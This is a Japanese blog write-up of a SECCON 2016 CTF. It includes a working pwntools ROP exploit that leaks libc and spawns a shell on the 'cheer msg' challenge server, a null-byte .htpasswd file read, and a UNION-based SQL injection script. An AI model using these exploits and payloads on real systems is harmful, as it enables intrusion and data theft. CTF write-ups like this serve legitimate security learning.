0x90

一回休み

SECCON 2016 writeup

ほぼ1年ぶりにCTFに参加。800点と惨憺たる結果ではあったんだけど、やっぱCTF楽しいな~と思いました。 とりあえず、解けた問題の回答だけでもはっつけておきましょう。あとでどうせ参照するのでw

Vigenere

ヴィジュネル暗号。最初の7文字と最後の1文字がわかっている。残念ながら最後の文字は新しい情報でないので、残り5文字をゴリ押し。

import itertools
import hashlib

keylist = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}"

passwd_init = "SECCON{"

after = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"

key_i = ''

key_l = len('????????????')

def key(i, a):
    int_i = keylist.index(i)
    return keylist[(keylist[int_i:] + keylist).index(a)]

key_i = ''.join(key(i, a) for i, a in zip(passwd_init, after))

def decode(k, a):
    int_k = keylist.index(k)
    return keylist[(keylist[int_k:] + keylist).index(a)]


for i, c in enumerate(itertools.product(keylist, repeat=key_l - len(key_i))):
    if i % 1000000 == 0:
        print i
    key = key_i + ''.join(c)
    init = ''.join(decode(k, a) for k, a in zip(key * 10, after))
    md5 = hashlib.md5(init).hexdigest()
    if md5 == "f528a6ab914c1ecf856a1d93103948fe":
        print init

おんなじ関数二回書いてるあたりがすごくCTFボケしている感じです。

VoIP

Wiresharkで開いてメニューの電話のとこ押すだけ。聞き取りが大変。

Memory Analysis

$ volatility_2.5_linux_x64 -f forensic_100.raw imageinfo
$ volatility_2.5_linux_x64 -f forensic_100.raw --profile=WinXPSP2x86 pslist
$ volatility_2.5_linux_x64 -f forensic_100.raw --profile=WinXPSP2x86 memdump -D . -p 3740
$ volatility_2.5_linux_x64 -f forensic_100.raw --profile=WinXPSP2x86 filescan | grep hosts
$ volatility_2.5_linux_x64 -f forensic_100.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000000217b748 -D .

で、だいたい揃うのであとはまあ適当に。

cheer msg

メッセージの長さを読み込む箇所がある。大きな値でオーバーフロー?とか思ったがそもそも負の値を与えられたw

from pwn import *

cheer = ELF('./cheer_msg')
conn = remote("cheermsg.pwn.seccon.jp", 30527)
libc = ELF('./libc-2.19.so-c4dc1270c1449536ab2efbbe7053231f1a776368')
#conn = process('./cheer_msg')
#libc = ELF('/lib/i386-linux-gnu/libc-2.24.so')
#gdb.attach(conn, "b system")

popret = 0x8048409
pop4ret = 0x80487ac
pop3ret = 0x80487ad
pop2ret = 0x80487ae

conn.recvuntil('>> ')
conn.send('-144\n')

conn.recvuntil('Name >> ')
conn.send(p32(cheer.plt['printf']) + p32(popret) + p32(cheer.got['printf'])
          + p32(cheer.symbols['getnline']) + p32(pop2ret) + p32(cheer.got['printf']) + p32(0x20)
          + p32(cheer.plt['printf']) + p32(0xdeadbeef) + p32(cheer.got['printf'] + 4) + '\0\n')

conn.recvuntil('Message : \n')
printf = u32(conn.recv(4))

print "0x%08x" % printf
system = printf - libc.symbols['printf'] + libc.symbols['system']

conn.send(p32(system) + "sh\0\0" + "\0\n")

conn.interactive()

getnlineを使わずに標準入力から文字読めるのかな?

Anti-Debugging

チェックが全部終わったところにIDAで飛ばしたらflagが出てきた。

uncomfortable web

ファイルを読んでるっぽいので、?.htpasswd%00みたいなの与えるとuser:passが出るのでjohnに突っ込む。ファイルが大量に出てくるので、

#!/usr/bin/python
import httplib
import urllib
from base64 import b64encode

userAndPass = b64encode(b"keigo:test").decode("ascii")
headers = { 'Authorization' : 'Basic %s' %  userAndPass }

res = ''
q = "0' UNION SELECT f1ag, 1, 1 from f1ags; # "

for i in range(1, 101):
  conn = httplib.HTTPConnection('127.0.0.1', 81)
  conn.request("GET", "/authed/sqlinj/%d.cgi?no=%s" % (i, urllib.quote(q)), headers=headers)
  nres = conn.getresponse().read().decode("utf-8")
  conn.close()

  if res != nres:
    print i
    print nres

  res = nres

こんな感じのスクリプトを実行してみると、72番目だけSQLiできることがわかるので、まあがんばる。

感想

面白かったです。

しかしなんか自分のレベル低下がががという気持ちになりましたw

やっぱ普段からバイナリは読まないとだめね